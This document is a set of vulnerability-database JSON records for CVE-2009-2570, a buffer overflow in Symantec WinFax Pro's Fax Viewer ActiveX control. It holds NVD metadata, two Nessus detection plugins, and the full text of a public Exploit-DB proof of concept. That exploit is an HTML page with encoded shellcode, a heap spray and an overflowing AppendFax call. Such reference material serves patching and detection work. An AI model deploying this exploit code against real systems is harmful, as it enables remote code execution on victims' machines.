{"id": "CVE-2009-2570", "bulletinFamily": "NVD", "title": "CVE-2009-2570", "description": "Stack-based buffer overflow in the Symantec.FaxViewerControl.1 ActiveX control in WinFax\\DCCFAXVW.DLL in Symantec WinFax Pro 10.03 allows remote attackers to execute arbitrary code via a long argument to the AppendFax method.", "published": "2009-07-22T13:30:00", "modified": "2018-10-12T17:52:06", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-2570", "reporter": "NVD", "references": ["https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-008", "http://www.securityfocus.com/archive/1/503086/100/0/threaded", "http://www.securityfocus.com/bid/34766", "http://www.securitytracker.com/id?1022147", "http://retrogod.altervista.org/9sg_symantec_win_fuck_pro.html", "http://www.securityfocus.com/archive/1/503074/100/0/threaded", "http://www.vupen.com/english/advisories/2009/1221", "http://www.securityfocus.com/archive/1/503163/100/0/threaded"], "cvelist": ["CVE-2009-2570"], "type": "cve", "lastseen": "2018-10-13T11:34:33", "history": [{"bulletin": {"assessment": {"href": "", "name": "", "system": ""}, "bulletinFamily": "NVD", "cpe": ["cpe:/a:symantec:winfax_pro:10.03"], "cvelist": ["CVE-2009-2570"], "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "description": "Stack-based buffer overflow in the Symantec.FaxViewerControl.1 ActiveX control in WinFax\\DCCFAXVW.DLL in Symantec WinFax Pro 10.03 allows remote attackers to execute arbitrary code via a long argument to the AppendFax method.", "edition": 2, "enchantments": {"score": {"modified": "2018-10-11T11:33:53", "value": 9.3, "vector": "NONE"}}, "hash": "0aedf2b98812a3417a78cb7df45e4261239bb019ce83776295975c2282fbcc17", "hashmap": [{"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "scanner"}, {"hash": "77903d751fef9e1dfd0d17395f8cff73", "key": "cvelist"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "reporter"}, {"hash": "a058968b937cae87a740b74576b9e075", "key": "description"}, {"hash": "2076413bdcb42307d016f5286cbae795", "key": "cvss"}, {"hash": "9bbf69fbf9cc7e4fcd3ddceb91d82206", "key": "references"}, {"hash": "6d3f4796275bb54c21a33b82f399cc6d", "key": "assessment"}, {"hash": "361fa76f51d027a3e6758e35c668f5c3", "key": "modified"}, {"hash": "83c34ab60ed62ed528e0534918631baf", "key": "title"}, {"hash": "89a9402592720b127de33dba2be5e184", "key": "published"}, {"hash": "5bb86d0f0da6c571c1c5397824d878e7", "key": "href"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "a46664e659c56ffd7bdd5f2e1b42be70", "key": "cpe"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-2570", "id": "CVE-2009-2570", "lastseen": "2018-10-11T11:33:53", "modified": "2018-10-10T15:40:47", "objectVersion": "1.3", "published": "2009-07-22T13:30:00", "references": ["http://www.microsoft.com/technet/security/Bulletin/MS10-008.mspx", "http://www.securityfocus.com/archive/1/503086/100/0/threaded", "http://www.securityfocus.com/bid/34766", "http://www.securitytracker.com/id?1022147", "http://retrogod.altervista.org/9sg_symantec_win_fuck_pro.html", "http://www.securityfocus.com/archive/1/503074/100/0/threaded", "http://www.vupen.com/english/advisories/2009/1221", "http://www.securityfocus.com/archive/1/503163/100/0/threaded"], "reporter": "NVD", "scanner": [], "title": "CVE-2009-2570", "type": "cve", "viewCount": 1}, "differentElements": ["references", "modified"], "edition": 2, "lastseen": "2018-10-11T11:33:53"}, {"bulletin": {"assessment": {"href": "", "name": "", "system": ""}, "bulletinFamily": "NVD", "cpe": ["cpe:/a:symantec:winfax_pro:10.03"], "cvelist": ["CVE-2009-2570"], "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "description": "Stack-based buffer overflow in the Symantec.FaxViewerControl.1 ActiveX control in WinFax\\DCCFAXVW.DLL in Symantec WinFax Pro 10.03 allows remote attackers to execute arbitrary code via a long argument to the AppendFax method.", "edition": 1, "enchantments": {"score": {"modified": "2016-09-03T12:39:37", "value": 9.3, "vector": "NONE"}}, "hash": "cc0535efe50ebf6744fa171e73cc695ba5834b447a9986c3c516160ded332af7", "hashmap": [{"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "scanner"}, {"hash": "77903d751fef9e1dfd0d17395f8cff73", "key": "cvelist"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "reporter"}, {"hash": "a058968b937cae87a740b74576b9e075", "key": "description"}, {"hash": "2076413bdcb42307d016f5286cbae795", "key": "cvss"}, {"hash": "42c349f2e9c46ce2a17b2790be4aa073", "key": "references"}, {"hash": "6d3f4796275bb54c21a33b82f399cc6d", "key": "assessment"}, {"hash": "83c34ab60ed62ed528e0534918631baf", "key": "title"}, {"hash": "89a9402592720b127de33dba2be5e184", "key": "published"}, {"hash": "5bb86d0f0da6c571c1c5397824d878e7", "key": "href"}, {"hash": "1716b5fcbb7121af74efdc153d0166c5", "key": "type"}, {"hash": "601892ece72be3be2f57266ca2354792", "key": "bulletinFamily"}, {"hash": "1c9ccbcdda02c33664b3a8699396b93e", "key": "modified"}, {"hash": "a46664e659c56ffd7bdd5f2e1b42be70", "key": "cpe"}], "history": [], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-2570", "id": "CVE-2009-2570", "lastseen": "2016-09-03T12:39:37", "modified": "2010-02-13T02:18:14", "objectVersion": "1.2", "published": "2009-07-22T13:30:00", "references": ["http://www.microsoft.com/technet/security/Bulletin/MS10-008.mspx", "http://www.securityfocus.com/bid/34766", "http://www.securitytracker.com/id?1022147", "http://www.securityfocus.com/archive/1/archive/1/503074/100/0/threaded", "http://retrogod.altervista.org/9sg_symantec_win_fuck_pro.html", "http://www.securityfocus.com/archive/1/archive/1/503086/100/0/threaded", "http://www.securityfocus.com/archive/1/archive/1/503163/100/0/threaded", "http://www.vupen.com/english/advisories/2009/1221"], "reporter": "NVD", "scanner": [], "title": "CVE-2009-2570", "type": "cve", "viewCount": 1}, "differentElements": ["references", "modified"], "edition": 1, "lastseen": "2016-09-03T12:39:37"}], "edition": 3, "hashmap": [{"key": "assessment", "hash": "6d3f4796275bb54c21a33b82f399cc6d"}, {"key": "bulletinFamily", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "cpe", "hash": "a46664e659c56ffd7bdd5f2e1b42be70"}, {"key": "cvelist", "hash": "77903d751fef9e1dfd0d17395f8cff73"}, {"key": "cvss", "hash": "2076413bdcb42307d016f5286cbae795"}, {"key": "description", "hash": "a058968b937cae87a740b74576b9e075"}, {"key": "href", "hash": "5bb86d0f0da6c571c1c5397824d878e7"}, {"key": "modified", "hash": "ebbb403538dad3e99238b026ce351128"}, {"key": "published", "hash": "89a9402592720b127de33dba2be5e184"}, {"key": "references", "hash": "7aea228bd90562ff6522a70bb9617f10"}, {"key": "reporter", "hash": "601892ece72be3be2f57266ca2354792"}, {"key": "scanner", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "title", "hash": "83c34ab60ed62ed528e0534918631baf"}, {"key": "type", "hash": "1716b5fcbb7121af74efdc153d0166c5"}], "hash": "05c4428f03bac967834dfb8e35550f591c417db72d31cb1e1034fa6419a7eb8a", "viewCount": 1, "enchantments": {"score": {"value": 9.3, "vector": "NONE", "modified": "2018-10-13T11:34:33"}, "dependencies": {"references": [{"type": "nessus", "idList": ["WINFAX_ACTIVEX_APPENDFAX_OVERFLOW.NASL", "SMB_NT_MS10-008.NASL"]}, {"type": "exploitdb", "idList": ["EDB-ID:8562"]}], "modified": "2018-10-13T11:34:33"}, "vulnersScore": 9.3}, "objectVersion": "1.3", "cpe": ["cpe:/a:symantec:winfax_pro:10.03"], "assessment": {"href": "", "name": "", "system": ""}, "scanner": []}

{"exploitdb": [{"lastseen": "2016-02-01T07:39:12", "bulletinFamily": "exploit", "description": "Symantec Fax Viewer Control 10 (DCCFAXVW.DLL) Remote BOF Exploit. CVE-2009-2570. Remote exploit for windows platform", "modified": "2009-04-29T00:00:00", "published": "2009-04-29T00:00:00", "id": "EDB-ID:8562", "href": "https://www.exploit-db.com/exploits/8562/", "type": "exploitdb", "title": "Symantec Fax Viewer Control 10 DCCFAXVW.DLL Remote BoF Exploit", "sourceData": "<!--\nSymantec Fax Viewer Control v10 (DCCFAXVW.DLL) remote buffer overflow exploit (IE7)\nby Nine:Situations:Group::trotzkista\nsite: http://retrogod.altervista.org/\n\ntested against: Symantec WinFax Pro 10.03\n Internet Explorer 7, XP SP3\n\nsome details:\nCLSID: {C05A1FBC-1413-11D1-B05F-00805F4945F6}\nProgid: Symantec.FaxViewerControl.1\nBinary Path: C:\\Programmi\\WinFax\\DCCFAXVW.DLL\nKillBitted: False\nImplements IObjectSafety: False\nSafe For Initialization (Registry): True\nSafe For Scripting (Registry): True\n-->\n<html>\n<object classid='clsid:C05A1FBC-1413-11D1-B05F-00805F4945F6' id='obj' />\n</object>\n<script language='javascript'>\n// win32_exec - EXITFUNC=seh CMD=c:\\windows\\system32\\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com\nvar scode = unescape(\"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949\" +\n \"%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a\" +\n \"%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241\" +\n \"%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c\" +\n \"%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c\" +\n \"%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f\" +\n \"%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b\" +\n \"%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c\" +\n \"%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831\" +\n \"%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955\" +\n \"%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b\" +\n \"%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b\" +\n \"%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44\" +\n \"%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35\" +\n \"%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530\" +\n \"%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b\" +\n \"%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c\" +\n \"%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63\" +\n \"%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f\" +\n \"%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377\" +\n \"%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f\" +\n \"%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035\" +\n \"%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653\" +\n \"%u314e%u7475%u7038%u7765%u4370\");\nbigblock = unescape(\"%u0c0c%u0c0c\");\nheadersize = 20;\nslackspace = headersize+scode.length;\nwhile (bigblock.length<slackspace) bigblock+=bigblock;\nfillblock = bigblock.substring(0, slackspace);\nblock = bigblock.substring(0, bigblock.length-slackspace);\nwhile(block.length+slackspace<0x40000) block = block+block+fillblock;\nmemory = new Array();\nfor (i=0;i<444;i++){memory[i] = block+scode}\n</script>\n<script language=\"vbscript\">\nobj.AppendFax string(1111,unescape(\"%0c\"))\n</script>\n\n# milw0rm.com [2009-04-29]\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/8562/"}], "nessus": [{"lastseen": "2019-02-21T01:11:52", "bulletinFamily": "scanner", "description": "The version of the Symantec Fax Viewer Control ActiveX control, a component included with Symantec Winfax Pro and installed on the remote Windows host, reportedly contains a stack-based buffer overflow that can be triggered by calling the 'AppendFax' method with an overly long argument. If an attacker can trick a user on the affected host into viewing a specially crafted HTML document, he can leverage this issue to execute arbitrary code on the affected system subject to the user's privileges.", "modified": "2018-11-15T00:00:00", "id": "WINFAX_ACTIVEX_APPENDFAX_OVERFLOW.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=38652", "published": "2009-04-30T00:00:00", "title": "Symantec Fax Viewer Control ActiveX Control AppendFax Overflow", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\n\ninclude(\"compat.inc\");\n\n\nif (description)\n{\n script_id(38652);\n script_version(\"1.19\");\n\n script_cve_id(\"CVE-2009-2570\");\n script_bugtraq_id(34766);\n script_xref(name:\"Secunia\", value:\"34925\");\n\n script_name(english:\"Symantec Fax Viewer Control ActiveX Control AppendFax Overflow\");\n script_summary(english:\"Checks for the control\");\n \n script_set_attribute( attribute:\"synopsis\", value:\n\"The remote Windows host has an ActiveX control that is affected by a\nbuffer overflow vulnerability.\" );\n script_set_attribute( attribute:\"description\", value:\n\"The version of the Symantec Fax Viewer Control ActiveX control, a\ncomponent included with Symantec Winfax Pro and installed on the\nremote Windows host, reportedly contains a stack-based buffer overflow\nthat can be triggered by calling the 'AppendFax' method with an overly\nlong argument. If an attacker can trick a user on the affected host\ninto viewing a specially crafted HTML document, he can leverage this\nissue to execute arbitrary code on the affected system subject to the\nuser's privileges.\" );\n script_set_attribute(\n attribute:\"see_also\", \n value:\"http://www.nessus.org/u?1078766b\"\n );\n script_set_attribute(\n attribute:\"see_also\", \n value:\"https://seclists.org/bugtraq/2009/Apr/285\"\n );\n script_set_attribute(\n attribute:\"see_also\", \n value:\"https://seclists.org/bugtraq/2009/Apr/296\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Remove the affected software as it is no longer supported by Symantec.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_cwe_id(119);\n script_set_attribute(attribute:\"plugin_publication_date\", value: \"2009/04/30\");\n script_cvs_date(\"Date: 2018/11/15 20:50:29\");\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_end_attributes();\n \n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows\");\n\n script_copyright(english:\"This script is Copyright (C) 2009-2018 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_hotfixes.nasl\");\n script_require_keys(\"SMB/Registry/Enumerated\");\n script_require_ports(139, 445);\n\n exit(0);\n}\n\n\ninclude(\"global_settings.inc\");\ninclude(\"smb_func.inc\");\ninclude(\"smb_activex_func.inc\");\n\n\nif (!get_kb_item(\"SMB/Registry/Enumerated\")) exit(0);\n\n\n# Locate the file used by the controls.\nif (activex_init() != ACX_OK) exit(0);\n\nclsid = '{C05A1FBC-1413-11D1-B05F-00805F4945F6}';\nfile = activex_get_filename(clsid:clsid);\nif (file)\n{\n ver = activex_get_fileversion(clsid:clsid);\n\n if (ver) ver = string(\"Version \", ver);\n else ver = string(\"An unknown version\");\n\n report = NULL;\n if (report_paranoia > 1)\n report = string(\n \"\\n\",\n ver, \" of the vulnerable control is installed as :\\n\",\n \"\\n\",\n \" \", file, \"\\n\",\n \"\\n\",\n \"Note, though, that Nessus did not check whether the kill bit was\\n\",\n \"set for the control's CLSID because of the Report Paranoia setting\\n\",\n \"in effect when this scan was run.\\n\"\n );\n else if (activex_get_killbit(clsid:clsid) == 0)\n report = string(\n \"\\n\",\n ver, \" of the vulnerable control is installed as :\\n\",\n \"\\n\",\n \" \", file, \"\\n\",\n \"\\n\",\n \"Moreover, its kill bit is not set so it is accessible via Internet\\n\",\n \"Explorer.\\n\"\n );\n if (report)\n {\n if (report_verbosity) security_hole(port:kb_smb_transport(), extra:report);\n else security_hole(kb_smb_transport());\n }\n}\nactivex_end();\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2019-02-21T01:13:01", "bulletinFamily": "scanner", "description": "The Microsoft Data Analyzer ActiveX control has a remote code execution vulnerability. The system may also have one or more vulnerable third-party ActiveX controls installed.\n\nA remote attacker could exploit these issues by tricking a user into requesting a maliciously crafted web page, resulting in arbitrary code execution.", "modified": "2018-11-15T00:00:00", "id": "SMB_NT_MS10-008.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=44418", "published": "2010-02-09T00:00:00", "title": "MS10-008: Cumulative Security Update of ActiveX Kill Bits (978262)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\n\ninclude(\"compat.inc\");\n\n\nif (description)\n{\n script_id(44418);\n script_version(\"1.31\");\n script_cvs_date(\"Date: 2018/11/15 20:50:30\");\n\n script_cve_id(\"CVE-2009-2570\", \"CVE-2009-3735\", \"CVE-2010-0252\");\n script_bugtraq_id(34766, 38045, 38060, 38066, 38067);\n script_xref(name:\"MSFT\", value:\"MS10-008\");\n script_xref(name:\"MSKB\", value:\"978262\");\n\n script_name(english:\"MS10-008: Cumulative Security Update of ActiveX Kill Bits (978262)\");\n script_summary(english:\"Checks if several kill bits have been set\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\n\"The remote Windows host is missing an update that disables selected\nActiveX controls.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"The Microsoft Data Analyzer ActiveX control has a remote code\nexecution vulnerability. The system may also have one or more\nvulnerable third-party ActiveX controls installed.\n\nA remote attacker could exploit these issues by tricking a user into\nrequesting a maliciously crafted web page, resulting in arbitrary code\nexecution.\"\n );\n script_set_attribute(attribute:\"see_also\", value:\"https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2010/ms10-008\");\n script_set_attribute(\n attribute:\"solution\",\n value:\n\"Microsoft has released a set of patches for Windows 2000, XP, 2003,\nVista, 2008, and 7.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_cwe_id(94, 119);\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2009/04/29\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2010/02/09\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2010/02/09\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2010-2018 Tenable Network Security, Inc.\");\n\n script_dependencies(\"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, 'Host/patch_management_checks');\n\n exit(0);\n}\n\n\ninclude(\"smb_func.inc\");\ninclude(\"smb_hotfixes.inc\");\ninclude(\"smb_hotfixes_fcheck.inc\");\ninclude(\"smb_activex_func.inc\");\n\n\ninclude(\"misc_func.inc\");\nget_kb_item_or_exit(\"SMB/MS_Bulletin_Checks/Possible\");\n\nbulletin = 'MS10-008';\nkbs = make_list(\"978262\");\nif (get_kb_item(\"Host/patch_management_checks\")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_WARNING);\n\n\nif (!get_kb_item(\"SMB/Registry/Enumerated\")) exit(0, \"The registry wasn't enumerated.\");\nif (hotfix_check_sp(win2k:6, xp:4, win2003:3, vista:3, win7:1) <= 0)\n exit(0, \"The host is not affected based on its version / service pack.\");\nif (hotfix_check_server_core() == 1) exit(0, \"Windows Server Core installs are not affected.\");\nif (activex_init() != ACX_OK) exit(1, \"Unable to initialize the ActiveX API.\");\n\n\n\nkb = \"978262\";\n\n# Test each control.\ninfo = \"\";\nclsids = make_list(\n '{E0ECA9C3-D669-4EF4-8231-00724ED9288F}', # max3activex.dll\n '{C05A1FBC-1413-11D1-B05F-00805F4945F6}', # Symantec WinFax Pro 10.3\n '{5D80A6D1-B500-47DA-82B8-EB9875F85B4D}', # Google Desktop Gadget 5.8\n '{0CCA191D-13A6-4E29-B746-314DEE697D83}', # Facebook Photo Updater 5.5.8\n '{2d8ed06d-3c30-438b-96ae-4d110fdc1fb8}' # PandaActiveScan Installer 2.0\n);\n\nforeach clsid (clsids)\n{\n if (activex_get_killbit(clsid:clsid) == 0)\n {\n info += ' ' + clsid + '\\n';\n if (!thorough_tests) break;\n }\n}\nactivex_end();\n\n\nif (info)\n{\n if (report_verbosity > 0)\n {\n if (max_index(split(info)) > 1) s = \"s\";\n else s = \"\";\n\n report =\n '\\nThe kill bit has not been set for the following control'+s+' :\\n\\n'+\n info;\n\n if (!thorough_tests)\n {\n report +=\n '\\nNote that Nessus did not check whether there were other kill bits\\n'+\n 'that have not been set because the \"Perform thorough tests\" setting\\n'+\n 'was not enabled when this scan was run.\\n';\n }\n hotfix_add_report(info, bulletin:bulletin, kb:kb);\n }\n hotfix_security_warning();\n\n set_kb_item(name:\"SMB/Missing/\"+bulletin, value:TRUE);\n}\nelse exit(0, \"The host is not affected.\");\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}]}